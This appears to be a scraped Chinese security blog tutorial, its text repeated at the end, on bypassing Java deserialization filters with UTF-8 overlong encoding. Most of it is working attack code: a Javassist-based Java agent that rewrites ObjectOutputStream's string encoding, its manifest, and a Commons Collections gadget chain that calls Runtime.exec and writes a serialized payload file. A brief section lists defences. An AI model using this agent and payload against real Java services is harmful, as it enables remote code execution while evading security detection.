java反序列化通过java agent实现utf-8 Overlong Encoding
字数 1618 2025-08-22 22:47:30

Java反序列化中利用Java Agent实现UTF-8 Overlong Encoding绕过技术

1. 技术背景

UTF-8 Overlong Encoding是一种编码技术,它允许使用比必要更多的字节来表示一个字符。在安全领域,这种技术可以被用来绕过某些安全检测机制,因为它可以改变字节表示形式而不改变实际字符值。

在Java反序列化过程中,readUTF函数负责将字节序列转换为字符串,它会对UTF-8编码的字节进行处理。通过利用Overlong Encoding,我们可以将原本单字节表示的字符转换为三字节表示,从而可能绕过某些安全检测。

2. 技术原理

2.1 UTF-8编码规则

UTF-8编码使用1到4个字节表示一个字符,具体规则如下:

  • 0x0000-0x007F:1字节,形式为0xxxxxxx
  • 0x0080-0x07FF:2字节,形式为110xxxxx 10xxxxxx
  • 0x0800-0xFFFF:3字节,形式为1110xxxx 10xxxxxx 10xxxxxx

2.2 Overlong Encoding原理

Overlong Encoding是指使用比必要更多的字节来表示一个字符。例如:

  • 字符'A' (0x41) 正常编码为0x41
  • 使用Overlong Encoding可以表示为0xC0 0x810xE0 0x80 0x81

2.3 Java反序列化中的处理

在Java序列化过程中,ObjectOutputStream$BlockDataOutputStream类的writeUTF方法负责字符串的序列化。该方法有两个关键部分:

  1. writeUTF(String s, long utflen) - 写入字符串长度和内容
  2. writeUTFBody(String s) - 实际执行UTF-8编码转换

3. 技术实现

3.1 Hook目标

我们需要修改两个方法:

  1. ObjectOutputStream$BlockDataOutputStream.writeUTF(String s, long utflen)
  2. ObjectOutputStream$BlockDataOutputStream.writeUTFBody(String s)

3.2 具体实现步骤

3.2.1 修改writeUTF方法

原始方法会根据字符串长度和内容决定编码方式,我们需要强制所有字符使用三字节编码:

void writeUTF(String s, long utflen) throws IOException {
    writeShort((int) utflen*3);  // 强制将长度设置为三倍
    writeUTFBody(s);
}

3.2.2 修改writeUTFBody方法

原始方法会根据字符值选择1、2或3字节编码,我们需要强制所有字符使用三字节编码:

private void writeUTFBody(String s) throws IOException {
    int limit = MAX_BLOCK_SIZE - 3;
    int len = s.length();
    for (int off = 0; off < len; ) {
        int csize = Math.min(len - off, CHAR_BUF_SIZE);
        s.getChars(off, off + csize, cbuf, 0);
        for (int cpos = 0; cpos < csize; cpos++) {
            char c = cbuf[cpos];
            if (pos <= limit) {
                // 强制使用三字节编码
                buf[pos + 2] = (byte) (0x80 | ((c >> 0) & 0x3F));
                buf[pos + 1] = (byte) (0x80 | ((c >> 6) & 0x3F));
                buf[pos + 0] = (byte) (0xE0 | ((c >> 12) & 0x0F));
                pos += 3;
            } else {
                // 处理缓冲区满的情况
                if (c <= 0x007F && c != 0) {
                    write(c);
                } else if (c > 0x07FF) {
                    write(0xE0 | ((c >> 12) & 0x0F));
                    write(0x80 | ((c >> 6) & 0x3F));
                    write(0x80 | ((c >> 0) & 0x3F));
                } else {
                    write(0xC0 | ((c >> 6) & 0x1F));
                    write(0x80 | ((c >> 0) & 0x3F));
                }
            }
        }
        off += csize;
    }
}

3.3 Java Agent实现

使用Java Agent技术动态修改上述方法:

public class NightTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, 
                          Class<?> classBeingRedefined,
                          ProtectionDomain protectionDomain, 
                          byte[] classfileBuffer) throws IllegalClassFormatException {
        if (className.equals("java/io/ObjectOutputStream$BlockDataOutputStream")) {
            ClassPool classPool = ClassPool.getDefault();
            try {
                CtClass ctClass = classPool.get("java.io.ObjectOutputStream$BlockDataOutputStream");
                classPool.importPackage(IOException.class.getName());
                
                // 修改writeUTF方法
                CtMethod writeUTF = ctClass.getMethod("writeUTF", "(Ljava/lang/String;J)V");
                ctClass.removeMethod(writeUTF);
                CtMethod make1 = CtNewMethod.make(
                    "void writeUTF(String s, long utflen) throws IOException {\n" +
                    " writeShort((int) utflen*3);\n" +
                    " writeUTFBody(s);\n" +
                    "}", ctClass);
                ctClass.addMethod(make1);
                
                // 修改writeUTFBody方法
                CtMethod method = ctClass.getDeclaredMethod("writeUTFBody");
                ctClass.removeMethod(method);
                CtMethod make = CtNewMethod.make(/* 上面writeUTFBody的代码 */, ctClass);
                ctClass.addMethod(make);
                
                ctClass.detach();
                return ctClass.toBytecode();
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }
        return classfileBuffer;
    }
}

3.4 Agent入口类

public class Agent {
    public static void premain(String agentArgs, Instrumentation inst) throws Exception {
        inst.addTransformer(new NightTransformer(), true);
        inst.retransformClasses(new Class[]{AccessibleObject.class});
    }
}

3.5 MANIFEST.MF配置

Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Created-By: Apache Maven
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Premain-Class: com.n1ght.Agent
Project-name: com.n1ght.AgentMain
Project-version: 1.0-SNAPSHOT

4. 使用示例

4.1 启动方式

使用Java Agent启动应用程序:

-javaagent:path/to/agent.jar

4.2 生成Payload示例

使用Commons Collections链生成Payload:

public class Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        
        Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
        
        HashMap<Object, Object> hashMap1 = new HashMap<>();
        HashMap<Object, Object> hashMap2 = new HashMap<>();
        
        LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(hashMap1, chainedTransformer);
        LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(hashMap2, chainedTransformer);
        
        lazyMap1.put("yy", 1);
        lazyMap2.put("zZ", 1);
        
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);
        
        // 设置transformers
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);
        
        lazyMap2.remove("yy");
        
        // 序列化
        FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
        new ObjectOutputStream(fileOutputStream).writeObject(hashtable);
    }
}

5. 效果验证

使用该技术后:

  1. 序列化数据中的字符会全部使用三字节Overlong Encoding表示
  2. 反序列化过程仍然能够正常执行
  3. 可以绕过某些基于字节模式匹配的安全检测机制

6. 防御措施

针对这种技术,可以采取以下防御措施:

  1. 在反序列化前对字节流进行规范化处理,将Overlong Encoding转换为标准编码
  2. 实现严格的UTF-8编码验证,拒绝非最短形式的编码
  3. 使用白名单机制限制可反序列化的类
  4. 更新Java运行环境到最新版本

7. 总结

通过Java Agent技术修改ObjectOutputStream的内部实现,可以强制使用UTF-8 Overlong Encoding来序列化字符串数据。这种技术可以用于绕过某些安全检测机制,但也提醒我们需要在安全防护中考虑编码形式的多样性。理解这种技术有助于我们构建更全面的防御体系。

Java反序列化中利用Java Agent实现UTF-8 Overlong Encoding绕过技术 1. 技术背景 UTF-8 Overlong Encoding是一种编码技术,它允许使用比必要更多的字节来表示一个字符。在安全领域,这种技术可以被用来绕过某些安全检测机制,因为它可以改变字节表示形式而不改变实际字符值。 在Java反序列化过程中, readUTF 函数负责将字节序列转换为字符串,它会对UTF-8编码的字节进行处理。通过利用Overlong Encoding,我们可以将原本单字节表示的字符转换为三字节表示,从而可能绕过某些安全检测。 2. 技术原理 2.1 UTF-8编码规则 UTF-8编码使用1到4个字节表示一个字符,具体规则如下: 0x0000-0x007F:1字节,形式为 0xxxxxxx 0x0080-0x07FF:2字节,形式为 110xxxxx 10xxxxxx 0x0800-0xFFFF:3字节,形式为 1110xxxx 10xxxxxx 10xxxxxx 2.2 Overlong Encoding原理 Overlong Encoding是指使用比必要更多的字节来表示一个字符。例如: 字符'A' (0x41) 正常编码为 0x41 使用Overlong Encoding可以表示为 0xC0 0x81 或 0xE0 0x80 0x81 2.3 Java反序列化中的处理 在Java序列化过程中, ObjectOutputStream$BlockDataOutputStream 类的 writeUTF 方法负责字符串的序列化。该方法有两个关键部分: writeUTF(String s, long utflen) - 写入字符串长度和内容 writeUTFBody(String s) - 实际执行UTF-8编码转换 3. 技术实现 3.1 Hook目标 我们需要修改两个方法: ObjectOutputStream$BlockDataOutputStream.writeUTF(String s, long utflen) ObjectOutputStream$BlockDataOutputStream.writeUTFBody(String s) 3.2 具体实现步骤 3.2.1 修改writeUTF方法 原始方法会根据字符串长度和内容决定编码方式,我们需要强制所有字符使用三字节编码: 3.2.2 修改writeUTFBody方法 原始方法会根据字符值选择1、2或3字节编码,我们需要强制所有字符使用三字节编码: 3.3 Java Agent实现 使用Java Agent技术动态修改上述方法: 3.4 Agent入口类 3.5 MANIFEST.MF配置 4. 使用示例 4.1 启动方式 使用Java Agent启动应用程序: 4.2 生成Payload示例 使用Commons Collections链生成Payload: 5. 效果验证 使用该技术后: 序列化数据中的字符会全部使用三字节Overlong Encoding表示 反序列化过程仍然能够正常执行 可以绕过某些基于字节模式匹配的安全检测机制 6. 防御措施 针对这种技术,可以采取以下防御措施: 在反序列化前对字节流进行规范化处理,将Overlong Encoding转换为标准编码 实现严格的UTF-8编码验证,拒绝非最短形式的编码 使用白名单机制限制可反序列化的类 更新Java运行环境到最新版本 7. 总结 通过Java Agent技术修改 ObjectOutputStream 的内部实现,可以强制使用UTF-8 Overlong Encoding来序列化字符串数据。这种技术可以用于绕过某些安全检测机制,但也提醒我们需要在安全防护中考虑编码形式的多样性。理解这种技术有助于我们构建更全面的防御体系。